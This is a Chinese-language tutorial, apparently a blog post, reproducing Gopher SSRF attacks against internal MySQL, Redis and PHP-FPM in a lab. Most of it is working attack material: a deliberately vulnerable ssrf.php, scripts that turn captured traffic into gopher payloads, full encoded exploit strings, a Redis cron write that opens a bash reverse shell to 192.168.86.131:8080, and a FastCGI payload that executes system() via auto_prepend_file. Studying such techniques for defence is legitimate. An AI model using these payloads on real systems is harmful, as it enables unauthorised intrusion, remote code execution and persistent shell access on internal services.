Gopher SSRF攻击内网应用复现

Gopher攻击MySQL

Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

MySQL通信协议

MySQL连接方式

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

1、Unix套接字;
2、内存共享/命名管道;
3、TCP/IP套接字;
  • 在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
  • 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
  • TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –proot时就是要TCP/IP套接字。

我们抓取的MySQL通信数据包必须使用TCP/IP套接字连接。

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。
* 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
* 当无需密码认证时直接发送TCP/IP数据包即可

所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:连接阶段或者叫认证阶段和命令阶段。在连接阶段包括握手包和认证包,这里主要关注认证数据包。
认证数据包格式:
图片.png
我用root登陆的MySQL认证数据包
图片.png
Packet Length为整个数据包的长度,Packet Number为sequence_id随每个数据包递增,从0开始,命令执行阶段遇到命令重新重置为0。这两个Packet为整个MySQL通协议的基础数据包。

select * from flag数据包
图片.png

构造攻击数据包

通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。

环境:
Linux ubuntu 4.4.0-130-generic
mysql Ver 14.14 Distrib 5.7.21, for Linux (x86_64)

新建用户,并且密码为空,只允许本地登录
CREATE USER 'curl'@'localhost';
GRANT ALL ON *.* TO 'curl'@'localhost';

# 一个窗口抓包
tcpdump –i lo port 3306 –w mysql.pcay
# 一个窗口操作
mysql –h 127.0.0.1 –u curl
# 执行了以下语句
use security;
select * from flag;
exit;

打开mysql.pcay追踪TCP流,过滤出发给3306的数据
图片.png
然后保存为原始数据,将数据转化为 url 编码。

#coding:utf-8

def results(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
    import sys
    s=sys.argv[1]
    print(results(s))

图片.png
成功返回查询结果
图片.png

图片.png

很多情况下,SSRF是没有回显的。
我们可以通过mysql执行select into outfile,当前用户必须存在file权限,以及导出到--secure-file-priv指定目录下,并且导入目录需要有写权限。
还可以通过udf反弹shell直接执行系统命令。
原理都是利用SSRF拿Gopher协议发送构造好的TCP/IP数据包攻击mysql

实战

ssrf.php

<?php
$url = @$_GET['url'];
if($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $co = curl_exec($ch);
    curl_close($ch);
    echo $co;
}
?>

注意:如果ssrf的点是get参数,因为处于url中,则需要进行一次url编码,上述例子将会编码成:

payload:ssrf.php?url=gopher://127.0.0.1:3306/_%25a2%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2563%2575%2572%256c%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2565%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2504%2533%2532%2532%2536%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2531%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%2512%2500%2500%2500%2503%2553%2545%254c%2545%2543%2554%2520%2544%2541%2554%2541%2542%2541%2553%2545%2528%2529%2509%2500%2500%2500%2502%2573%2565%2563%2575%2572%2569%2574%2579%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%250c%2500%2500%2500%2503%2573%2568%256f%2577%2520%2574%2561%2562%256c%2565%2573%2508%2500%2500%2500%2504%2565%256d%2561%2569%256c%2573%2500%2506%2500%2500%2500%2504%2566%256c%2561%2567%2500%250a%2500%2500%2500%2504%2572%2565%2566%2565%2572%2565%2572%2573%2500%2509%2500%2500%2500%2504%2575%2561%2567%2565%256e%2574%2573%2500%2507%2500%2500%2500%2504%2575%2573%2565%2572%2573%2500%2513%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2566%256c%2561%2567%2501%2500%2500%2500%2501

图片.png

Gopher攻击内网Redis

ubuntu 外联接save命令始终报错,不知道什么原因,就放在centos上复现了,注意redis配置文件的所有者和用户组以及redis要以root权限运行

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis

常见redis反弹shell的bash脚本

redis-cli -h $1 -p $2 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

flushall:删除所有数据库中的所有key。这行代码感觉不是很有必要。。。
-x参数:从标准输入读取一个参数:
在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。
dir 数据库备份的文件放置路径
Dbfilename 备份文件的文件名

执行脚本命令:bash shell.sh 127.0.0.1 6379
想获取Redis攻击的TCP数据包,可以使用socat进行端口转发,利用这个脚本攻击自身并抓包得到数据流:转发命令如下:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。
然后执行bash shell.sh 127.0.0.1 4444
捕获到的数据:

[root@Centos ~]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2018/09/25 10:35:24.944863  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2018/09/25 10:35:24.948320  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.955995  length=88 from=0 to=87
*3\r
$3\r
set\r
$1\r
1\r
$61\r


*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1


\r
< 2018/09/25 10:35:24.956209  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.959588  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2018/09/25 10:35:24.960138  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.967473  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2018/09/25 10:35:24.967772  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.974068  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/09/25 10:35:24.976103  length=5 from=0 to=4
+OK\r
> 2018/09/25 10:35:24.983836  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/09/25 10:35:24.984123  length=5 from=0 to=4
+OK\r

转换规则如下:
* 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
* 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
* 将\r字符串替换成%0d%0a
* 空白行替换为%0a

JoyChou师傅的转换脚本

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp
python27 1.py socat.log
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

如果要换IP和端口,前面的$61也需要更改,$61表示字符串长度为61个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0a,3+54+4=58。
本地curl测试,返回4个OK说明成功执行
图片.png

Gopher攻击FastCGI

p神介绍FastCGI的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用条件
* libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
* PHP-FPM监听端口
* PHP-FPM版本 >= 5.3.3
* 知道服务器上任意一个php文件的绝对路径

转换为Gopher的EXP
监听一个端口的流量 nc -lvvp 2333 > 1.txt,执行EXP,流量打到2333端口

python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 php文件绝对路径

fpm.py地址https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
url编码

f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

得到gopher的exp

curl 'gopher://127.0.0.1:9000/_%01%01%97%9C%00%08%00%00%00%01%00%00%00%00%00%00%01%04%97%9C%01%D5%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%15SCRIPT_FILENAME/var/www/html/123.php%0B%15SCRIPT_NAME/var/www/html/123.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%15REQUEST_URI/var/www/html/123.php%01%04%97%9C%00%00%00%00%01%05%97%9C%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%97%9C%00%00%00%00'

Referer

https://paper.seebug.org/510/
https://blog.chaitin.cn/gopher-attack-surfaces/#h2.2_%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91-redis
https://joychou.org/web/phpssrf.html